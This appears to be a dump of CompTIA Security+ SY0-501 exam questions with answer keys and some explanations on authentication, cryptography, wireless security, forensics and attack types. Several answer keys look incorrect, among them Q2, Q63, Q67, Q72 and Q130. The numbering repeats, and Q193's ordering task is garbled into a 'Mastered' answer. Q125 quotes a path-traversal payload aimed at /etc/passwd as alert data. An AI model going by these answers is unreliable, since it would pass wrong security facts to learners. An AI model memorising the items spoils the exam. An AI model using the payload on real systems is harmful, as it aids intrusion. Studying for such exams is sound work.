



# CompTIA

## Exam Questions SY0-501

CompTIA Security+ Certification Exam

#### NEW QUESTION 1

- (Exam Topic 1)

Ann, a security administrator, has been instructed to perform fuzz-based testing on the company's applications. Which of the following best describes what she will do?

- A. Enter random or invalid data into the application in an attempt to cause it to fault
- B. Work with the developers to eliminate horizontal privilege escalation opportunities
- C. Test the applications for the existence of built-in- back doors left by the developers
- D. Hash the application to verify it won't cause a false positive on the HIPS

**Answer:** A

#### NEW QUESTION 2

- (Exam Topic 1)

A company has three divisions, each with its own networks and services. The company decides to make its secure web portal accessible to all employees utilizing their existing usernames and passwords. The security administrator has elected to use SAML to support authentication. In this scenario, which of the following will occur when users try to authenticate to the portal? (Select two.)

- A. The portal will function as a service provider and request an authentication assertion.
- B. The portal will function as an identity provider and issue an authentication assertion.
- C. The portal will request an authentication ticket from each network that is transitively trusted.
- D. The back-end networks will function as an identity provider and issue an authentication assertion.
- E. The back-end networks will request authentication tickets from the portal, which will act as the third-party service provider authentication store.
- F. The back-end networks will verify the assertion token issued by the portal functioning as the identity provider.

**Answer:** AB

#### NEW QUESTION 3

- (Exam Topic 1)

An analyst wants to implement a more secure wireless authentication for office access points. Which of the following technologies allows for encrypted authentication of wireless clients over TLS?

- A. PEAP
- B. EAP
- C. WPA2
- D. RADIUS

**Answer:** A

#### Explanation:

EAP by itself is only an authentication framework.

PEAP (Protected Extensible Authentication Protocol) fully encapsulates EAP and is designed to work within a TLS (Transport Layer Security) tunnel that may be encrypted but is authenticated. The primary motivation behind the creation of PEAP was to help correct the deficiencies discovered within EAP since that protocol assumes that the communications channel is protected. As a result, when EAP messages are able to be discovered in the "clear" they do not provide the protection that was assumed when the protocol was originally authored.

PEAP, EAP-TTLS, and EAP-TLS "protect" inner EAP authentication within SSL/TLS sessions.

#### NEW QUESTION 4

- (Exam Topic 1)

An organization's file server has been virtualized to reduce costs. Which of the following types of backups would be MOST appropriate for the particular file server?

- A. Snapshot
- B. Full
- C. Incremental
- D. Differential

**Answer:** C

#### NEW QUESTION 5

- (Exam Topic 1)

Which of the following can be provided to an AAA system for the identification phase?

- A. Username
- B. Permissions
- C. One-time token
- D. Private certificate

**Answer:** A

#### NEW QUESTION 6

- (Exam Topic 1)

An incident responder receives a call from a user who reports a computer is exhibiting symptoms consistent with a malware infection. Which of the following steps should the responder perform NEXT?

- A. Capture and document necessary information to assist in the response.
- B. Request the user capture and provide a screenshot or recording of the symptoms.

- C. Use a remote desktop client to collect and analyze the malware in real time.
- D. Ask the user to back up files for later recovery.

**Answer:** A

#### NEW QUESTION 7

- (Exam Topic 1)

In terms of encrypting data, which of the following is BEST described as a way to safeguard password data by adding random data to it in storage?

- A. Using salt
- B. Using hash algorithms
- C. Implementing elliptical curve
- D. Implementing PKI

**Answer:** A

#### NEW QUESTION 8

- (Exam Topic 1)

A company is using a mobile device deployment model in which employees use their personal devices for work at their own discretion. Some of the problems the company is encountering include the following:

- ☐ There is no standardization.
- ☐ Employees ask for reimbursement for their devices.
- ☐ Employees do not replace their devices often enough to keep them running efficiently.
- ☐ The company does not have enough control over the devices.

Which of the following is a deployment model that would help the company overcome these problems?

- A. BYOD
- B. VDI
- C. COPE
- D. CYOD

**Answer:** D

#### NEW QUESTION 9

- (Exam Topic 1)

Joe, an employee, wants to show his colleagues how much he knows about smartphones. Joe demonstrates a free movie application that he installed from a third party on his corporate smartphone. Joe's colleagues were unable to find the application in the app stores. Which of the following allowed Joe to install the application? (Select two.)

- A. Near-field communication.
- B. Rooting/jailbreaking
- C. Ad-hoc connections
- D. Tethering
- E. Sideloaded

**Answer:** BE

#### NEW QUESTION 10

- (Exam Topic 1)

A security consultant discovers that an organization is using the PCL protocol to print documents, utilizing the default driver and print settings. Which of the following is the MOST likely risk in this situation?

- A. An attacker can access and change the printer configuration.
- B. SNMP data leaving the printer will not be properly encrypted.
- C. An MITM attack can reveal sensitive information.
- D. An attacker can easily inject malicious code into the printer firmware.
- E. Attackers can use the PCL protocol to bypass the firewall of client computers.

**Answer:** B

#### NEW QUESTION 10

- (Exam Topic 1)

Which of the following specifically describes the exploitation of an interactive process to access otherwise restricted areas of the OS?

- A. Privilege escalation
- B. Pivoting
- C. Process affinity
- D. Buffer overflow

**Answer:** A

#### NEW QUESTION 11

- (Exam Topic 1)

A security analyst is diagnosing an incident in which a system was compromised from an external IP address. The socket identified on the firewall was traced to

207.46.130.0:6666. Which of the following should the security analyst do to determine if the compromised system still has an active connection?

- A. tracert
- B. netstat
- C. ping
- D. nslookup

**Answer:** B

#### NEW QUESTION 15

- (Exam Topic 1)

A company is terminating an employee for misbehavior. Which of the following steps is MOST important in the process of disengagement from this employee?

- A. Obtain a list of passwords used by the employee.
- B. Generate a report on outstanding projects the employee handled.
- C. Have the employee surrender company identification.
- D. Have the employee sign an NDA before departing.

**Answer:** C

#### NEW QUESTION 16

- (Exam Topic 1)

A system administrator wants to provide for and enforce wireless access accountability during events where external speakers are invited to make presentations to a mixed audience of employees and non-employees.

Which of the following should the administrator implement?

- A. Shared accounts
- B. Preshared passwords
- C. Least privilege
- D. Sponsored guest

**Answer:** D

#### NEW QUESTION 21

- (Exam Topic 1)

Multiple organizations operating in the same vertical want to provide seamless wireless access for their employees as they visit the other organizations. Which of the following should be implemented if all the organizations use the native 802.1x client on their mobile devices?

- A. Shibboleth
- B. RADIUS federation
- C. SAML
- D. OAuth
- E. OpenID connect

**Answer:** B

#### Explanation:





<http://archive.oreilly.com/pub/a/wireless/2005/01/01/authentication.html>

#### NEW QUESTION 26

- (Exam Topic 1)

An organization's internal auditor discovers that large sums of money have recently been paid to a vendor that management does not recognize. The IT security department is asked to investigate the organization's ERP system to determine how the accounts payable module has been used to make these vendor payments.

The IT security department finds the following security configuration for the accounts payable module:

-  New Vendor Entry – Required Role: Accounts Payable Clerk
-  New Vendor Approval – Required Role: Accounts Payable Clerk
-  Vendor Payment Entry – Required Role: Accounts Payable Clerk
-  Vendor Payment Approval – Required Role: Accounts Payable Manager

Which of the following changes to the security configuration of the accounts payable module would BEST mitigate the risk?

- A. New Vendor Entry - Required Role: Accounts Payable Clerk  
New Vendor Approval - Required Role: Accounts Payable Manager  
Vendor Payment Entry - Required Role: Accounts Payable Clerk  
Vendor Payment Approval - Required Role: Accounts Payable Manager
- B. New Vendor Entry - Required Role: Accounts Payable Manager  
New Vendor Approval - Required Role: Accounts Payable Clerk  
Vendor Payment Entry - Required Role: Accounts Payable Clerk  
Vendor Payment Approval - Required Role: Accounts Payable Manager
- C. New Vendor Entry - Required Role: Accounts Payable Clerk  
New Vendor Approval - Required Role: Accounts Payable Clerk  
Vendor Payment Entry - Required Role: Accounts Payable Manager  
Vendor Payment Approval - Required Role: Accounts Payable Manager
- D. New Vendor Entry - Required Role: Accounts Payable Clerk  
New Vendor Approval - Required Role: Accounts Payable Manager  
Vendor Payment Entry - Required Role: Accounts Payable Manager  
Vendor Payment Approval - Required Role: Accounts Payable Manager

- A. Option A  
B. Option B  
C. Option C  
D. Option D

**Answer:** A

#### NEW QUESTION 31

- (Exam Topic 1)

As part of a new industry regulation, companies are required to utilize secure, standardized OS settings. A technical must ensure the OS settings are hardened. Which of the following is the BEST way to do this?

- A. Use a vulnerability scanner.  
B. Use a configuration compliance scanner.  
C. Use a passive, in-line scanner.  
D. Use a protocol analyzer.

**Answer:** B

#### NEW QUESTION 34

- (Exam Topic 1)

Which of the following security controls does an iris scanner provide?

- A. Logical  
B. Administrative  
C. Corrective  
D. Physical  
E. Detective  
F. Deterrent

**Answer:** D

#### NEW QUESTION 37

- (Exam Topic 1)

A systems administrator is attempting to recover from a catastrophic failure in the datacenter. To recover the domain controller, the systems administrator needs to provide the domain administrator credentials. Which of the following account types is the systems administrator using?

- A. Shared account  
B. Guest account  
C. Service account  
D. User account

**Answer:** C

#### NEW QUESTION 38

- (Exam Topic 1)

A penetration tester is crawling a target website that is available to the public. Which of the following represents the actions the penetration tester is performing?

- A. URL hijacking

- B. Reconnaissance
- C. White box testing
- D. Escalation of privilege

**Answer:** B

#### NEW QUESTION 43

- (Exam Topic 1)

Which of the following attacks specifically impact data availability?

- A. DDoS
- B. Trojan
- C. MITM
- D. Rootkit

**Answer:** A

#### Explanation:

Reference: <https://www.netscout.com/what-is-ddos>

#### NEW QUESTION 45

- (Exam Topic 1)

Which of the following attack types BEST describes a client-side attack that is used to manipulate an HTML iframe with JavaScript code via a web browser?

- A. Buffer overflow
- B. MITM
- C. XSS
- D. SQLi

**Answer:** C

#### NEW QUESTION 46

- (Exam Topic 1)

A manager wants to distribute a report to several other managers within the company. Some of them reside in remote locations that are not connected to the domain but have a local server. Because there is sensitive data within the report and the size of the report is beyond the limit of the email attachment size, emailing the report is not an option. Which of the following protocols should be implemented to distribute the report securely? (Select three.)

- A. S/MIME
- B. SSH
- C. SNMPv3
- D. FTPS
- E. SRTP
- F. HTTPS
- G. LDAPS

**Answer:** BDF

#### NEW QUESTION 50

- (Exam Topic 1)

A security analyst is hardening an authentication server. One of the primary requirements is to ensure there is mutual authentication and delegation. Given these requirements, which of the following technologies should the analyst recommend and configure?

- A. LDAP services
- B. Kerberos services
- C. NTLM services
- D. CHAP services

**Answer:** B

#### Explanation:

Only Kerberos that can do Mutual Auth and Delegation.

#### NEW QUESTION 54

- (Exam Topic 2)

Joe, a user, wants to send Ann, another user, a confidential document electronically. Which of the following should Joe do to ensure the document is protected from eavesdropping?

- A. Encrypt it with Joe's private key
- B. Encrypt it with Joe's public key
- C. Encrypt it with Ann's private key
- D. Encrypt it with Ann's public key

**Answer:** D

#### NEW QUESTION 55

- (Exam Topic 2)



Which of the following cryptography algorithms will produce a fixed-length, irreversible output?

- A. AES
- B. 3DES
- C. RSA
- D. MD5

**Answer:** D

#### NEW QUESTION 60

- (Exam Topic 2)

A security administrator returning from a short vacation receives an account lock-out message when attempting to log into the computer. After getting the account unlocked the security administrator immediately notices a large amount of emails alerts pertaining to several different user accounts being locked out during the past three days. The security administrator uses system logs to determine that the lock-outs were due to a brute force attack on all accounts that has been previously logged into that machine.

Which of the following can be implemented to reduce the likelihood of this attack going undetected?

- A. Password complexity rules
- B. Continuous monitoring
- C. User access reviews
- D. Account lockout policies

**Answer:** B

#### NEW QUESTION 61

- (Exam Topic 2)

An organization is comparing and contrasting migration from its standard desktop configuration to the newest version of the platform. Before this can happen, the Chief Information Security Officer (CISO) voices the need to evaluate the functionality of the newer desktop platform to ensure interoperability with existing software in use by the organization. In which of the following principles of architecture and design is the CISO engaging?

- A. Dynamic analysis
- B. Change management
- C. Baselineing
- D. Waterfalling

**Answer:** B

#### NEW QUESTION 63

- (Exam Topic 2)

An in-house penetration tester is using a packet capture device to listen in on network communications. This is an example of:

- A. Passive reconnaissance
- B. Persistence
- C. Escalation of privileges
- D. Exploiting the switch

**Answer:** D

#### NEW QUESTION 67

- (Exam Topic 2)

To reduce disk consumption, an organization's legal department has recently approved a new policy setting the data retention period for sent email at six months. Which of the following is the BEST way to ensure this goal is met?

- A. Create a daily encrypted backup of the relevant emails.
- B. Configure the email server to delete the relevant emails.
- C. Migrate the relevant emails into an "Archived" folder.
- D. Implement automatic disk compression on email servers.

**Answer:** A

#### NEW QUESTION 69

- (Exam Topic 2)

While reviewing the monthly internet usage it is noted that there is a large spike in traffic classified as "unknown" and does not appear to be within the bounds of the organizations Acceptable Use Policy.

Which of the following tool or technology would work BEST for obtaining more information on this traffic?

- A. Firewall logs
- B. IDS logs
- C. Increased spam filtering
- D. Protocol analyzer

**Answer:** B

#### NEW QUESTION 72

- (Exam Topic 2)

An organization requires users to provide their fingerprints to access an application. To improve security, the application developers intend to implement multifactor

authentication. Which of the following should be implemented?

- A. Use a camera for facial recognition
- B. Have users sign their name naturally
- C. Require a palm geometry scan
- D. Implement iris recognition

**Answer: B**

#### NEW QUESTION 73

- (Exam Topic 2)

A security engineer is faced with competing requirements from the networking group and database administrators. The database administrators would like ten application servers on the same subnet for ease of administration, whereas the networking group would like to segment all applications from one another. Which of the following should the security administrator do to rectify this issue?

- A. Recommend performing a security assessment on each application, and only segment the applications with the most vulnerability
- B. Recommend classifying each application into like security groups and segmenting the groups from one another
- C. Recommend segmenting each application, as it is the most secure approach
- D. Recommend that only applications with minimal security features should be segmented to protect them

**Answer: B**

#### NEW QUESTION 76

- (Exam Topic 2)

Which of the following works by implanting software on systems but delays execution until a specific set of conditions is met?

- A. Logic bomb
- B. Trojan
- C. Scareware
- D. Ransomware

**Answer: A**

#### NEW QUESTION 77

- (Exam Topic 2)

Technicians working with servers hosted at the company's datacenter are increasingly complaining of electric shocks when touching metal items which have been linked to hard drive failures.

Which of the following should be implemented to correct this issue?

- A. Decrease the room temperature
- B. Increase humidity in the room
- C. Utilize better hot/cold aisle configurations
- D. Implement EMI shielding

**Answer: B**

#### NEW QUESTION 78

- (Exam Topic 2)

A Chief Executive Officer (CEO) suspects someone in the lab testing environment is stealing confidential information after working hours when no one else is around. Which of the following actions can help to prevent this specific threat?

- A. Implement time-of-day restrictions.
- B. Audit file access times.
- C. Secretly install a hidden surveillance camera.
- D. Require swipe-card access to enter the lab.

**Answer: D**

#### NEW QUESTION 82

- (Exam Topic 2)

Which of the following are the MAIN reasons why a systems administrator would install security patches in a staging environment before the patches are applied to the production server? (Select two.)

- A. To prevent server availability issues
- B. To verify the appropriate patch is being installed
- C. To generate a new baseline hash after patching
- D. To allow users to test functionality
- E. To ensure users are trained on new functionality

**Answer: AD**

#### NEW QUESTION 86

- (Exam Topic 2)

A security administrator is creating a subnet on one of the corporate firewall interfaces to use as a DMZ which is expected to accommodate at most 14 physical hosts.

Which of the following subnets would BEST meet the requirements?



- A. 192.168.0.16 255.25.255.248
- B. 192.168.0.16/28
- C. 192.168.1.50 255.255.25.240
- D. 192.168.2.32/27

**Answer:** B

#### NEW QUESTION 88

- (Exam Topic 2)

A mobile device user is concerned about geographic positioning information being included in messages sent between users on a popular social network platform. The user turns off the functionality in the application, but wants to ensure the application cannot re-enable the setting without the knowledge of the user. Which of the following mobile device capabilities should the user disable to achieve the stated goal?

- A. Device access control
- B. Location based services
- C. Application control
- D. GEO-Tagging

**Answer:** D

#### NEW QUESTION 92

- (Exam Topic 2)

Which of the following would meet the requirements for multifactor authentication?

- A. Username, PIN, and employee ID number
- B. Fingerprint and password
- C. Smart card and hardware token
- D. Voice recognition and retina scan

**Answer:** B

#### NEW QUESTION 96

- (Exam Topic 2)

A security engineer is configuring a wireless network that must support mutual authentication of the wireless client and the authentication server before users provide credentials. The wireless network must also support authentication with usernames and passwords. Which of the following authentication protocols MUST the security engineer select?

- A. EAP-FAST
- B. EAP-TLS
- C. PEAP
- D. EAP

**Answer:** C

#### NEW QUESTION 99

- (Exam Topic 2)

A black hat hacker is enumerating a network and wants to remain covert during the process. The hacker initiates a vulnerability scan. Given the task at hand the requirement of being covert, which of the following statements BEST indicates that the vulnerability scan meets these requirements?

- A. The vulnerability scanner is performing an authenticated scan.
- B. The vulnerability scanner is performing local file integrity checks.
- C. The vulnerability scanner is performing in network sniffer mode.
- D. The vulnerability scanner is performing banner grabbing.

**Answer:** C

#### NEW QUESTION 103

- (Exam Topic 2)

A new firewall has been placed into service at an organization. However, a configuration has not been entered on the firewall. Employees on the network segment covered by the new firewall report they are unable to access the network. Which of the following steps should be completed to BEST resolve the issue?

- A. The firewall should be configured to prevent user traffic from matching the implicit deny rule.
- B. The firewall should be configured with access lists to allow inbound and outbound traffic.
- C. The firewall should be configured with port security to allow traffic.
- D. The firewall should be configured to include an explicit deny rule.

**Answer:** A

#### NEW QUESTION 108

- (Exam Topic 2)

A group of non-profit agencies wants to implement a cloud service to share resources with each other and minimize costs. Which of the following cloud deployment models BEST describes this type of effort?

- A. Public
- B. Hybrid
- C. Community
- D. Private

**Answer: C**

#### NEW QUESTION 113

- (Exam Topic 2)

An administrator has concerns regarding the traveling sales team who works primarily from smart phones. Given the sensitive nature of their work, which of the following would BEST prevent access to the data in case of loss or theft?

- A. Enable screensaver locks when the phones are not in use to prevent unauthorized access
- B. Configure the smart phones so that the stored data can be destroyed from a centralized location
- C. Configure the smart phones so that all data is saved to removable media and kept separate from the device
- D. Enable GPS tracking on all smart phones so that they can be quickly located and recovered

**Answer: B**

#### NEW QUESTION 116

- (Exam Topic 2)

A network technician is setting up a segmented network that will utilize a separate ISP to provide wireless access to the public area for a company. Which of the following wireless security methods should the technician implement to provide basic accountability for access to the public network?

- A. Pre-shared key
- B. Enterprise
- C. Wi-Fi Protected setup
- D. Captive portal

**Answer: D**

#### NEW QUESTION 120

- (Exam Topic 2)

A user is presented with the following items during the new-hire onboarding process:

- Laptop
- Secure USB drive
- Hardware OTP token
- External high-capacity HDD
- Password complexity policy
- Acceptable use policy
- HASP key
- Cable lock

Which of the following is one component of multifactor authentication?

- A. Secure USB drive
- B. Cable lock
- C. Hardware OTP token
- D. HASP key

**Answer: C**

#### NEW QUESTION 125

- (Exam Topic 2)

A security analyst receives an alert from a WAF with the following payload: var data= "<test test test>" ++ <../../../../../../../../etc/passwd>"

Which of the following types of attacks is this?

- A. Cross-site request forgery
- B. Buffer overflow
- C. SQL injection
- D. JavaScript data insertion
- E. Firewall evasion script

**Answer: D**

#### NEW QUESTION 130

- (Exam Topic 2)

A security administrator suspects a MITM attack aimed at impersonating the default gateway is underway. Which of the following tools should the administrator use to detect this attack? (Select two.)

- A. Ping
- B. Ipconfig
- C. Tracert
- D. Netstat
- E. Dig
- F. Nslookup

**Answer: BC**

#### NEW QUESTION 135

- (Exam Topic 2)

A systems administrator is reviewing the following information from a compromised server:

Process	DEP	Local Address	Remote Address
LSASS	YES	0.0.0.0.	10.210.100.62
APACHE	NO	0.0.0.0	10.130.210.20
MySQL	NO	127.0.0.1	127.0.0.1
TFTP	YES	191.168.1.10	10.34.221.96

Given the above information, which of the following processes was MOST likely exploited via a remote buffer overflow attack?

- A. Apache
- B. LSASS
- C. MySQL
- D. TFTP

**Answer:** A

#### NEW QUESTION 136

- (Exam Topic 2)

Which of the following vulnerability types would the type of hacker known as a script kiddie be MOST dangerous against?

- A. Passwords written on the bottom of a keyboard
- B. Unpatched exploitable Internet-facing services
- C. Unencrypted backup tapes
- D. Misplaced hardware token

**Answer:** B

#### NEW QUESTION 138

- (Exam Topic 2)

An organization has hired a penetration tester to test the security of its ten web servers. The penetration tester is able to gain root/administrative access in several servers by exploiting vulnerabilities associated with the implementation of SMTP, POP, DNS, FTP, Telnet, and IMAP. Which of the following recommendations should the penetration tester provide to the organization to better protect their web servers in the future?

- A. Use a honeypot
- B. Disable unnecessary services
- C. Implement transport layer security
- D. Increase application event logging

**Answer:** B

#### NEW QUESTION 142

- (Exam Topic 3)

An organization is working with a cloud services provider to transition critical business applications to a hybrid cloud environment. The organization retains sensitive customer data and wants to ensure the provider has sufficient administrative and logical controls in place to protect its data. In which of the following documents would this concern MOST likely be addressed?

- A. Service level agreement
- B. Interconnection security agreement
- C. Non-disclosure agreement
- D. Business process analysis

**Answer:** A

#### NEW QUESTION 146

- (Exam Topic 3)

An organization is moving its human resources system to a cloud services provider.

The company plans to continue using internal usernames and passwords with the service provider, but the security manager does not want the service provider to have a copy of the passwords. Which of the following options meets all of these requirements?

- A. Two-factor authentication
- B. Account and password synchronization
- C. Smartcards with PINS
- D. Federated authentication

**Answer:** D

#### NEW QUESTION 148

- (Exam Topic 3)

The chief security officer (CSO) has issued a new policy that requires that all internal websites be configured for HTTPS traffic only. The network administrator has been tasked to update all internal sites without incurring additional costs. Which of the following is the best solution for the network administrator to secure each internal website?

- A. Use certificates signed by the company CA
- B. Use a signing certificate as a wild card certificate
- C. Use certificates signed by a public ca

D. Use a self-signed certificate on each internal server

**Answer:** D

**Explanation:**

This is a way to update all internal sites without incurring additional costs?

To be a CA (Certificate Authority), you need an infrastructure that consists of considerable operational elements, hardware, software, policy frameworks and practice statements, auditing, security infrastructure and personnel.

**NEW QUESTION 149**

- (Exam Topic 3)

Which of the following should be used to implement voice encryption?

- A. SSLv3
- B. VDSL
- C. SRTP
- D. VoIP

**Answer:** C

**NEW QUESTION 154**

- (Exam Topic 3)

A business has recently deployed laptops to all sales employees. The laptops will be used primarily from home offices and while traveling, and a high amount of wireless mobile use is expected. To protect the laptops while connected to untrusted wireless networks, which of the following would be the BEST method for reducing the risk of having the laptops compromised?

- A. MAC filtering
- B. Virtualization
- C. OS hardening
- D. Application white-listing

**Answer:** C

**NEW QUESTION 159**

- (Exam Topic 3)

The Chief Technology Officer (CTO) of a company, Ann, is putting together a hardware budget for the next 10 years. She is asking for the average lifespan of each hardware device so that she is able to calculate when she will have to replace each device.

Which of the following categories BEST describes what she is looking for?

- A. ALE
- B. MTTR
- C. MTBF
- D. MTTF

**Answer:** D

**NEW QUESTION 164**

- (Exam Topic 3)

A software developer wants to ensure that the application is verifying that a key is valid before establishing SSL connections with random remote hosts on the Internet. Which of the following should be used in the code? (Select TWO.)

- A. Escrowed keys
- B. SSL symmetric encryption key
- C. Software code private key
- D. Remote server public key
- E. OCSP

**Answer:** CE

**NEW QUESTION 165**

- (Exam Topic 3)

Two users need to securely share encrypted files via email. Company policy prohibits users from sharing credentials or exchanging encryption keys. Which of the following can be implemented to enable users to share encrypted data while abiding by company policies?

- A. Key escrow
- B. Digital signatures
- C. PKI
- D. Hashing

**Answer:** B

**NEW QUESTION 168**

- (Exam Topic 3)

A security guard has informed the Chief Information Security Officer that a person with a tablet has been walking around the building. The guard also noticed strange white markings in different areas of the parking lot. The person is attempting which of the following types of attacks?

- A. Jamming

- B. War chalking
- C. Packet sniffing
- D. Near field communication

**Answer:** B

#### NEW QUESTION 172

- (Exam Topic 3)

Which of the following is the summary of loss for a given year?

- A. MTBF
- B. ALE
- C. SLA
- D. ARO

**Answer:** B

#### NEW QUESTION 174

- (Exam Topic 3)

Which of the following can affect electrostatic discharge in a network operations center?

- A. Fire suppression
- B. Environmental monitoring
- C. Proximity card access
- D. Humidity controls

**Answer:** D

#### NEW QUESTION 175

- (Exam Topic 3)

Which of the following best describes the initial processing phase used in mobile device forensics?

- A. The phone should be powered down and the battery removed to preserve the state of data on any internal or removable storage utilized by the mobile device
- B. The removable data storage cards should be processed first to prevent data alteration when examining the mobile device
- C. The mobile device should be examined first, then removable storage and lastly the phone without removable storage should be examined again
- D. The phone and storage cards should be examined as a complete unit after examining the removable storage cards separately.

**Answer:** D

#### NEW QUESTION 180

- (Exam Topic 3)

Which of the following attack types is being carried out where a target is being sent unsolicited messages via Bluetooth?

- A. War chalking
- B. Bluejacking
- C. Bluesnarfing
- D. Rogue tethering

**Answer:** B

#### Explanation:

Bluejacking is the sending of unsolicited messages over Bluetooth to Bluetooth-enabled devices such as mobile phones, PDAs or laptop computers, sending a vCard which typically contains a message in the name field (i.e., for bluedating or bluechat) to another Bluetooth-enabled device via the OBEX protocol.

#### NEW QUESTION 182

- (Exam Topic 3)

Joe notices there are several user accounts on the local network generating spam with embedded malicious code. Which of the following technical control should Joe put in place to BEST reduce these incidents?

- A. Account lockout
- B. Group Based Privileges
- C. Least privilege
- D. Password complexity

**Answer:** A

#### NEW QUESTION 187

- (Exam Topic 3)

Which of the following is commonly used for federated identity management across multiple organizations?

- A. SAML
- B. Active Directory
- C. Kerberos
- D. LDAP

**Answer:** A

#### NEW QUESTION 190

- (Exam Topic 3)

Which of the following use the SSH protocol?

- A. Stelnet
- B. SCP
- C. SNMP
- D. FTPS
- E. SSL
- F. SFTP

**Answer:** BF

#### NEW QUESTION 193

- (Exam Topic 3)

A forensic analyst is asked to respond to an ongoing network attack on a server. Place the items in the list below in the correct order in which the forensic analyst should preserve them.

1	<input type="text"/>	RAM
2	<input type="text"/>	CPU cache
3	<input type="text"/>	Swap
4	<input type="text"/>	Hard drive

- A. Mastered
- B. Not Mastered

**Answer:** A

#### Explanation:

When dealing with multiple issues, address them in order of volatility (OOV); always deal with the most volatile first. Volatility can be thought of as the amount of time that you have to collect certain data before a window of opportunity is gone. Naturally, in an investigation you want to collect everything, but some data will exist longer than others, and you cannot possibly collect all of it once. As an example, the OOV in an investigation may be RAM, hard drive data, CDs/DVDs, and printouts.

Order of volatility: Capture system images as a snapshot of what exists, look at network traffic and logs, capture any relevant video/screenshots/hashes, record time offset on the systems, talk to witnesses, and track total man-hours and expenses associated with the investigation.

#### NEW QUESTION 197

- (Exam Topic 3)

A system administrator needs to implement 802.1x whereby when a user logs into the network, the authentication server communicates to the network switch and assigns the user to the proper VLAN. Which of the following protocols should be used?

- A. RADIUS
- B. Kerberos
- C. LDAP
- D. MSCHAP

**Answer:** A

#### NEW QUESTION 202

- (Exam Topic 3)

The SSID broadcast for a wireless router has been disabled but a network administrator notices that unauthorized users are accessing the wireless network. The administrator has determined that attackers are still able to detect the presence of the wireless network despite the fact the SSID has been disabled. Which of the following would further obscure the presence of the wireless network?

- A. Upgrade the encryption to WPA or WPA2



- B. Create a non-zero length SSID for the wireless router
- C. Reroute wireless users to a honeypot
- D. Disable responses to a broadcast probe request

**Answer:** D

#### NEW QUESTION 206

- (Exam Topic 3)

Which of the following technologies would be MOST appropriate to utilize when testing a new software patch before a company-wide deployment?

- A. Cloud computing
- B. Virtualization
- C. Redundancy
- D. Application control

**Answer:** B

#### Explanation:

Virtualization is used to host one or more operating systems in the memory of a single host computer and allows multiple operating systems to run simultaneously on the same hardware, reducing costs. Virtualization offers the flexibility of quickly and easily making backups of entire virtual systems, and quickly recovering the virtual system when errors occur. Furthermore, malicious code compromises of virtual systems rarely affect the host system, which allows for safer testing and experimentation.

#### NEW QUESTION 210

- (Exam Topic 3)

Joe, a technician, is working remotely with his company provided laptop at the coffee shop near his home. Joe is concerned that another patron of the coffee shop may be trying to access his laptop. Which of the following is an appropriate control to use to prevent the other patron from accessing Joe's laptop directly?

- A. full-disk encryption
- B. Host-based firewall
- C. Current antivirus definitions
- D. Latest OS updates

**Answer:** B

#### NEW QUESTION 215

- (Exam Topic 3)

Which of the following is the proper way to quantify the total monetary damage resulting from an exploited vulnerability?

- A. Calculate the ALE
- B. Calculate the ARO
- C. Calculate the MTBF
- D. Calculate the TCO

**Answer:** A

#### NEW QUESTION 219

- (Exam Topic 4)

In determining when it may be necessary to perform a credentialed scan against a system instead of a noncredentialed scan, which of the following requirements is MOST likely to influence this decision?

- A. The scanner must be able to enumerate the host OS of devices scanned.
- B. The scanner must be able to footprint the network.
- C. The scanner must be able to check for open ports with listening services.
- D. The scanner must be able to audit file system permissions

**Answer:** D

#### NEW QUESTION 221

- (Exam Topic 4)

While performing a penetration test, the technicians want their efforts to go unnoticed for as long as possible while they gather useful data about the network they are assessing. Which of the following would be the BEST choice for the technicians?

- A. Vulnerability scanner
- B. Offline password cracker
- C. Packet sniffer
- D. Banner grabbing

**Answer:** C

#### NEW QUESTION 226

- (Exam Topic 4)

A user needs to send sensitive information to a colleague using PKI. Which of the following concepts apply when a sender encrypts the message hash with the sender's private key? (Select TWO)

- A. Non-repudiation
- B. Email content encryption

- C. Steganography
- D. Transport security
- E. Message integrity

**Answer:** AE

#### NEW QUESTION 230

- (Exam Topic 4)

Which of the following is commonly done as part of a vulnerability scan?

- A. Exploiting misconfigured applications
- B. Cracking employee passwords
- C. Sending phishing emails to employees
- D. Identifying unpatched workstations

**Answer:** D

#### NEW QUESTION 233

- (Exam Topic 4)

A network technician is trying to determine the source of an ongoing network based attack. Which of the following should the technician use to view IPv4 packet data on a particular internal network segment?

- A. Proxy
- B. Protocol analyzer
- C. Switch
- D. Firewall

**Answer:** B

#### NEW QUESTION 237

- (Exam Topic 4)

A company is evaluating cloud providers to reduce the cost of its internal IT operations. The company's aging systems are unable to keep up with customer demand. Which of the following cloud models will the company MOST likely select?

- A. PaaS
- B. SaaS
- C. IaaS
- D. BaaS

**Answer:** C

#### NEW QUESTION 238

- (Exam Topic 4)

A company's loss control department identifies theft as a recurring loss type over the past year. Based on the department's report, the Chief Information Officer (CIO) wants to detect theft of datacenter equipment. Which of the following controls should be implemented?

- A. Biometrics
- B. Cameras
- C. Motion detectors
- D. Mantraps

**Answer:** C

#### NEW QUESTION 241

- (Exam Topic 4)

A security analyst is updating a BIA document. The security analyst notices the support vendor's time to replace a server hard drive went from eight hours to two hours. Given these new metrics, which of the following can be concluded? (Select TWO)

- A. The MTTR is faster.
- B. The MTTR is slower.
- C. The RTO has increased.
- D. The RTO has decreased.
- E. The MTTF has increased.
- F. The MTTF has decreased.

**Answer:** AD

#### NEW QUESTION 242

- (Exam Topic 4)

As part of a new BYOD rollout, a security analyst has been asked to find a way to securely store company data on personal devices. Which of the following would BEST help to accomplish this?

- A. Require the use of an eight-character PIN.
- B. Implement containerization of company data.
- C. Require annual AUP sign-off.
- D. Use geofencing tools to unlock devices while on the premises.

**Answer:** B

#### NEW QUESTION 243

- (Exam Topic 4)

Which of the following BEST describes a network-based attack that can allow an attacker to take full control of a vulnerable host?

- A. Remote exploit
- B. Amplification
- C. Sniffing
- D. Man-in-the-middle

**Answer:** A

#### NEW QUESTION 244

- (Exam Topic 4)

The POODLE attack is an MITM exploit that affects:

- A. TLS1.0 with CBC mode cipher
- B. SSLv2.0 with CBC mode cipher
- C. SSLv3.0 with CBC mode cipher
- D. SSLv3.0 with ECB mode cipher

**Answer:** C

#### Explanation:

A flaw was found in the way SSL 3.0 handled padding bytes when decrypting messages encrypted using block ciphers in cipher block chaining (CBC) mode. How To Protect your Server Against the POODLE SSLv3 Vulnerability On October 14th, 2014, a vulnerability in version 3 of the SSL encryption protocol was disclosed. This vulnerability, dubbed POODLE (Padding Oracle On Downgraded Legacy Encryption), allows an attacker to read information encrypted with this version of the protocol in plain text using a man-in-the-middle attack.

